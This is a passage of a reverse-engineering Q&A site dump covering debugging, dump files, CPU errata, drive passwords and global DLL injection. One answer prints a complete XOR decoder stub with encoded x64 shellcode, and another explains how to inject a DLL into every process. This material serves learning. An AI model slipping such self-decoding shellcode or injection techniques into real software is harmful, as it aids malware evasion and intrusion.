  <row Id="16300" PostTypeId="2" ParentId="16295" CreationDate="2017-09-08T14:59:25.030" Score="1" Body="&lt;p&gt;If you are using a UNIX system, you can easily check if an executable program is using (or not) a dynamic library with the &lt;code&gt;ldd&lt;/code&gt; program. For example, if you want to look for this on &lt;code&gt;chromium&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; which chromium&#xA;/usr/bin/chromium&#xA;#&amp;gt; file /usr/bin/chromium&#xA;/usr/bin/chromium: POSIX shell script, ASCII text executable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking for the real executable (looking inside the script that run Chrome), I finally got the real path to the executable which was &lt;code&gt;/usr/lib/chromium/chromium&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; file /usr/lib/chromium/chromium &#xA;/usr/lib/chromium/chromium: ELF 64-bit LSB shared object, x86-64, &#xA;version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,&#xA;for GNU/Linux 2.6.32, BuildID[sha1]=0880d1837b9c423a478251743408a62ca4433677,&#xA;not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I simply use &lt;code&gt;ldd&lt;/code&gt; on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; ldd /usr/lib/chromium/chromium | grep nss&#xA;    libnss3.so =&amp;gt; /usr/lib/x86_64-linux-gnu/libnss3.so (0x7f742651d000)&#xA;    libnssutil3.so =&amp;gt; /usr/lib/x86_64-linux-gnu/libnssutil3.so (0x7f74262ed000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we go!&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-09-08T14:59:25.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16301" PostTypeId="1" AcceptedAnswerId="16304" CreationDate="2017-09-08T17:56:57.220" Score="0" ViewCount="1369" Body="&lt;p&gt;Which program would you success to open a Windows 10 &lt;code&gt;.DMP&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried OllyDbg110(32Bit)&#xA;but this is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rcCHx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rcCHx.png&quot; alt=&quot;error msg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to use a 64bit debugger or am I on a totally wrong route?&lt;/p&gt;&#xA;" OwnerUserId="21450" LastActivityDate="2017-09-09T05:03:17.637" Title="Opening Windows 10 DMP file" Tags="|windows|debugging|memory-dump|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16303" PostTypeId="2" ParentId="16296" CreationDate="2017-09-09T01:07:59.773" Score="2" Body="&lt;p&gt;Modern microprocessors are quite complex, but probably can be represented in fewer lines of code than an OS plus libs, etc. (Although one would be coded in Verilog and the other in C.) Nonetheless, the complexity is so great that having source code wouldn't be of much benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we focus on instruction execution (vs peripheral functions like memory management), functionality is quite well defined, and therefore easy to verify. Moreover, the cost of a mistake is quite high--you can't simply push out a patch like you can in software. Therefore, designs are simulated for days before being taped out, and there are even formal methods to prove that every part of the chip has been exercised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the amount of state held by a CPU is astronomical. A bug where the CPU jumped to the wrong instruction all the time would be quickly found. The reality is that there could be a rare sequence of events--perhaps not even easily reproducible given the stochastic nature of out-of-order processors--that leads to misbehavior. Such bugs would also be hard to exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are indeed bugs found after tape out. Most processors have an errata sheet, and few designs go to production on A0 (one full tape out, no metal fixes) silicon. But, I mostly see bugs or design gaps in peripheral functions. For an example list of bugs, search for something like &quot;Skylake errata.&quot;&lt;/p&gt;&#xA;" OwnerUserId="21544" LastActivityDate="2017-09-09T01:07:59.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16304" PostTypeId="2" ParentId="16301" CreationDate="2017-09-09T05:03:17.637" Score="0" Body="&lt;p&gt;As stated in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3433/18014&quot;&gt;this&lt;/a&gt; RE answer OllyDbg can't be used directly to analize dumps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use either &lt;a href=&quot;https://www.microsoft.com/en-us/store/p/windbg-preview/9pgjgd53tn86?SilentAuth=1&amp;amp;wa=wsignin1.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg&lt;/a&gt;(this Preview or old version) or &lt;a href=&quot;https://www.visualstudio.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VisualStudio&lt;/a&gt;. They can load .DMP files directly and allow anlyzing them.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-09-09T05:03:17.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16306" PostTypeId="2" ParentId="16278" CreationDate="2017-09-09T11:27:28.093" Score="2" Body="&lt;p&gt;I &lt;a href=&quot;http://www.godevtool.com/GolinkHelp/GoLink.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;don't see that option&lt;/a&gt; in &lt;code&gt;golink&lt;/code&gt; linker but if you use i.e. &lt;code&gt;link.exe&lt;/code&gt; (Microsoft (R) Incremental Linker Version 14.11.25506.0) then you can use &lt;code&gt;/SECTION&lt;/code&gt; parameter to specify that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;link /SUBSYSTEM:CONSOLE /ENTRY:start xor.obj /SECTION:.text,RWE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After that if you display memory map in xdbg you'll see the change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ya49r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ya49r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you encoder can modify the code in it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9CUN4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9CUN4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-09-09T11:27:28.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16309" PostTypeId="2" ParentId="16294" CreationDate="2017-09-09T17:02:22.177" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put yours MicroSD card in linux box&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let presume that MicroSD card is identified as device &lt;code&gt;/dev/sdf&lt;/code&gt;, so type &#xA;&lt;code&gt;[ dd if=/dev/sdf of=/home/my_MicroSD_copy.img ]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Having copy of yours MicroSD you can try different tools to decrypt it. &#xA;Be advised to try with &lt;a href=&quot;https://www.openssl.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSSL&lt;/a&gt;. Beside OpenSSL project docs &#xA;you can check out &lt;a href=&quot;https://raymii.org/s/tutorials/Encrypt_and_decrypt_files_to_public_keys_via_the_OpenSSL_Command_Line.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReyMii&lt;/a&gt; web pages to. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21315" LastEditorUserId="2147" LastEditDate="2017-09-10T13:52:47.477" LastActivityDate="2017-09-10T13:52:47.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16310" PostTypeId="2" ParentId="16274" CreationDate="2017-09-09T18:27:31.983" Score="3" Body="&lt;p&gt;There are few issues with your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st is what &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/60/igor-skochinsky&quot;&gt;Igor&lt;/a&gt; mentioned - .text section is RO. This was solved in this &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16306/18014&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2nd is that you did not copy correctly the bytes or lost some of them in other way. Your shellcode has 260 bytes, but if I compile the example for the &lt;a href=&quot;https://www.tophertimzen.com/blog/windowsx64Shellcode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; that you've provided then I get 262. I run them by a short python script to xor them and after that I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you do this the result is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iy3HP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iy3HP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bits 64&#xA;section .text&#xA;global start&#xA;&#xA;start:&#xA;        jmp find_address&#xA;&#xA;decoder:&#xA;        pop rdi&#xA;        xor rcx, rcx&#xA;        add cx, 262&#xA;decode:&#xA;        xor byte [rdi],0xAA&#xA;        inc rdi&#xA;        loop decode&#xA;&#xA;        jmp short encoded_shellcode&#xA;&#xA;find_address:&#xA;        call decoder&#xA;&#xA;&#xA;encoded_shellcode: &#xA;       db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-09-09T18:27:31.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16311" PostTypeId="2" ParentId="16014" CreationDate="2017-09-09T21:23:20.100" Score="1" Body="&lt;p&gt;I solved it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;after loading a program the panes are filled with data&lt;/li&gt;&#xA;&lt;li&gt;right-click in the top left pane and a menu will appear&lt;/li&gt;&#xA;&lt;li&gt;from this menu choose appearence --&gt; font(all) --&gt; the font you want (the &quot;OEM fixed font&quot; works for me)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21562" LastActivityDate="2017-09-09T21:23:20.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16312" PostTypeId="2" ParentId="16296" CreationDate="2017-09-09T23:24:11.340" Score="1" Body="&lt;p&gt;As a very specific example, I'm sure you could take the recently acknowledged SKL150 erratum and build an exploit on top of it that could tunnel through verification systems, JIT-compiled langauges, etc, since it breaks the basic assumption that the processor behaves as designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;symptom&quot; of SKL150 as reported was crashing, but that's only because the affected value was a pointer which became invalid, but you could equally use all the the regular techniques to exploit it instead. Of course, this is probably at the 9 out of 10 difficulty level.&lt;/p&gt;&#xA;" OwnerUserId="19571" LastActivityDate="2017-09-09T23:24:11.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16313" PostTypeId="1" CreationDate="2017-09-10T11:21:41.123" Score="6" ViewCount="235" Body="&lt;p&gt;So I recently read [1] which evaluates several disassemblers. The truth/test binaries are generated by the SPEC CPU 2006 Benchmark suite. The authors provide detailed build instructions for the ELF set inside a VirtualBox.&lt;/p&gt;&#xA;&lt;p&gt;However, reconstructing the Windows binaries seems impossible for me, as the authors didn't provide the SPEC configuration files for building those binaries. So building the binaries with Visual Studio 2015, which actually match with the provided mapping files [2] didn't work (bruteforcing/guessing the compilation settings).&lt;/p&gt;&#xA;&lt;p&gt;For example, most of the samples &amp;quot;SPEC/vs15-32/C++&amp;quot; and &amp;quot;SPEC/vs15-32/C&amp;quot; have the following prologue of the .text base (see appendix for properties description):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[2]&#xA;@0x0000000000401000:  [FBIC]&#xA;@0x0000000000401001:  [IC]C&#xA;@0x0000000000401003:  [IC]CC&#xA;@0x0000000000401006:  [IC]&#xA;@0x0000000000401007:  [IC]&#xA;@0x0000000000401008:  [IC]CC&#xA;@0x000000000040100b:  [IC]C&#xA;@0x000000000040100d:  [JIC]C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;All of the 64 bit samples have following prologue:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Segment .text, vaddr 0x0000000000001000, size 1600112, flag [RX]&amp;gt;&#xA;@0x0000000140001000:  [FBIC]CCCC&#xA;@0x0000000140001005:  [IC]CCCC&#xA;@0x000000014000100a:  [IC]&#xA;@0x000000014000100b:  [IC]CCC&#xA;@0x000000014000100f:  [IC]CC&#xA;@0x0000000140001012:  [IC]CC&#xA;@0x0000000140001015:  [IC]CC&#xA;@0x0000000140001018:  [JIC]C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried several configurations for the SPEC build instructions with VS2015 Compiler and intel compiler. However, inspecting all of the resulting binaries don't match with the provided ground truth of [1].&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So two concrete questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;When all samples share similar .text prologues, they all share&#xA;similar libraries?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Could somone infer the compilation details by the repeating&#xA;prologues?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Properties descriptions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  d - data&#xA;  c - code&#xA;  i - instruction boundary&#xA;    Note that if a byte is an instruction boundary (start of an instruction),&#xA;    this implies that it is a code byte&#xA;  o - instruction boundary (start of overlapping instruction)&#xA;  b - basic block start&#xA;    Basic block boundaries are not always explicitly listed, as they can usually&#xA;    be found by parsing the instruction/function listing into a control-flow graph&#xA;  f - function start&#xA;  e - program/binary entry point&#xA;  r - function end (return, tail call, etc.)&#xA;  j - control-flow instruction (jmp, call, ret, ...)&#xA;  x - crossref/call instruction&#xA;  n - NOP or other function padding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;[1] An In-Depth Analysis of Disassembly on Full-Scale x86/x64 Binaries&#xA;by Dennis Andriesse:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Zeus is a family of credential-stealing trojans which originally&#xA;appeared in 2007. The first two variants of Zeus are based on&#xA;centralized command servers. These command servers are now routinely&#xA;tracked and blocked by the security community. In an apparent effort&#xA;to withstand these routine countermeasures, the second version of Zeus&#xA;was forked into a peer-to-peer variant in September 2011. Compared to&#xA;earlier versions of Zeus, this peer-to-peer variant is fundamentally&#xA;more difficult to disable. Through a detailed analysis of this new&#xA;Zeus variant, we demonstrate the high resilience of state of the art&#xA;peer-to-peer botnets in general, and of peer-to-peer Zeus in&#xA;particular.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21557" LastEditorUserId="37138" LastEditDate="2021-07-26T09:15:58.643" LastActivityDate="2022-12-18T15:00:30.107" Title="Reconstructing Assembly Truth Map" Tags="|disassembly|windows|assembly|compilers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16317" PostTypeId="1" AcceptedAnswerId="16318" CreationDate="2017-09-10T23:37:11.343" Score="3" ViewCount="210" Body="&lt;p&gt;I was reading about BIOS and I saw this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Next, BIOS will begin checking memory at 0000:0472h. This address contains a flag which will tell the BIOS if the system is booting from a cold boot or warm boot.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, it tells that the BIOS has 2 types to check the booting process. It says when the BIOS finds a warm boot (value 1234h) it will skip the POST routines remaining, however if the BIOS finds a cold boot, the remaining POST routines will be run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, supposing that I have a password in the startup (user password set in the BIOS) of the system and a hard disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I power up the computer, this means that the BIOS will read for a cold boot and will run the remaining POST routines, and of course will ask for the user's and hard disk's password. But when I reboot the system from the operating system (in this case, a Linux distribution), why doesn't the BIOS requests for the hard disk's password? Does this means that the BIOS is reading now a warm boot?&lt;/p&gt;&#xA;" OwnerUserId="21574" LastEditorUserId="21574" LastEditDate="2017-09-26T11:52:12.230" LastActivityDate="2017-09-26T11:52:12.230" Title="Why BIOS is not asking for HDD password on reboot but only after power off?" Tags="|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16318" PostTypeId="2" ParentId="16317" CreationDate="2017-09-11T08:18:39.950" Score="4" Body="&lt;p&gt;Your quote is about the old legacy BIOS (16-bit). Nowadays most BIOSes implement &lt;a href=&quot;http://www.uefi.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFI&lt;/a&gt;-compliant firmware, which works in a pretty different way. The &lt;a href=&quot;https://www.trustedcomputinggroup.org/wp-content/uploads/TCG_Storage_ReferenceDocument_Opal_Integration_Guidelines_v1.00_r1.14_publicreview.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Opal specification&lt;/a&gt; published by TCG, describes how the UEFI firmware interacts with self-encrypting harddrives.&#xA;However, it seems your scenario is not really BIOS-related. According to &lt;a href=&quot;https://wiki.archlinux.org/index.php/Self-Encrypting_Drives&quot; rel=&quot;nofollow noreferrer&quot;&gt;ArchLinux wiki on the topic &lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Typical self-encrypting drives, once unlocked, will &lt;strong&gt;remain unlocked&#xA;  as long as power is provided&lt;/strong&gt;. This vulnerability can be exploited by&#xA;  means of altering the environment external to the drive, without&#xA;  cutting power, in effect keeping the drive in an unlocked state. For&#xA;  example, it has been shown (by researchers at Universiy of&#xA;  Erlangen-Nuremberg) that it is possible to reboot the computer into an&#xA;  attacker-controlled operating system without cutting power to the&#xA;  drive. The researchers have also demonstrated moving the drive to&#xA;  another computer without cutting power&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it's probably the drive itself, and not the BIOS/firmware, which is caching the password on warm reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.uefi.org/sites/default/files/resources/UEFI_Plugfest_JBOBZIN_2012Q1_V2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFI Plugfest: Strategies for Firmware Support of Self-Encrypting Drives&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;EDK2's &lt;a href=&quot;https://github.com/tianocore/edk2/tree/master/SecurityPkg&quot; rel=&quot;nofollow noreferrer&quot;&gt;SecurityPkg&lt;/a&gt; implements various Opal-related functionality, e.g. &lt;a href=&quot;https://github.com/tianocore/edk2/tree/master/SecurityPkg/Tcg/Opal&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://github.com/tianocore/edk2/tree/master/SecurityPkg/Library/OpalPasswordSupportLib&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-11T08:18:39.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16319" PostTypeId="1" CreationDate="2017-09-11T14:24:25.353" Score="4" ViewCount="3676" Body="&lt;p&gt;How can one go about injection of a DLL into every process? Can &lt;code&gt;SetwindowsHookEx()&lt;/code&gt; do the trick? Does &lt;code&gt;AppInit_DLLs&lt;/code&gt; work as it used to?&lt;/p&gt;&#xA;" OwnerUserId="21580" LastEditorUserId="245" LastEditDate="2018-06-05T13:47:34.650" LastActivityDate="2022-04-08T17:56:13.667" Title="How to do Global DLL injection" Tags="|windows|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16320" PostTypeId="2" ParentId="16319" CreationDate="2017-09-11T15:52:42.147" Score="3" Body="&lt;p&gt;DLL injections is a big subject, but to answer your two specific questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes, &lt;code&gt;SetwindowsHookEx&lt;/code&gt; can inject to all &lt;em&gt;currently&lt;/em&gt; running processes. This is done by providing the value of zero (&lt;code&gt;0&lt;/code&gt;)  to the &lt;code&gt;dwThreadId&lt;/code&gt; parameter.&lt;/li&gt;&#xA;&lt;li&gt;Yes, generally &lt;code&gt;AppInit_DLLs&lt;/code&gt; works on recent windows versions, however microsoft are working their way towards disabling and heavily limiting its usage. For example, since Windows 7, a registry value called &lt;code&gt;RequireSignedAppInit_DLLs&lt;/code&gt; controls whether only code-signed DLLs are allowed to load. While the value is set to &lt;code&gt;0&lt;/code&gt; (turned off) for Windows 7, it is on by default on windows 10. Furthermore, in Windows 8 (and above) &lt;code&gt;AppInit_DLLs&lt;/code&gt; is automatically disabled (enable with  the &lt;code&gt;LoadAppInit_DLLs&lt;/code&gt; registry value) on machines with secure boot.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these techniques are being phased out (or completely blocked) by multiple counter-measure features in Windows versions. They're not recommended (actually they are often discouraged by Microsoft itself) for legitimate software (or malware). Users are piling up caveats and restrictions in the comments, but for the sake of clarity and simplicity (and because there're numerous caveats here) I chose to only include a few. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2018-06-05T13:50:25.597" LastActivityDate="2018-06-05T13:50:25.597" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="16321" PostTypeId="2" ParentId="10675" CreationDate="2017-09-11T16:44:24.673" Score="1" Body="&lt;p&gt;To preserve info from the mentioned &lt;a href=&quot;http://www.openrce.org/forums/posts/2072&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenRCE forum thread&lt;/a&gt;, I pasted the relevant info here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other reasons for OllyDbg v1.10 to discard .UDD data are:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1) A change in the file pathname e.g. xxx.exe moved from &quot;c:\xxx.exe&quot;&#xA;  to &quot;c:\new\xxx.exe&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can set the &quot;Ignore path and extension&quot; option to bypass this&#xA;  check.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) A change in the LastWrite time of file.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can set the &quot;Ignore timestamp&quot; option to bypass this check.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3) &lt;strong&gt;A change in the CRC of the code section since last 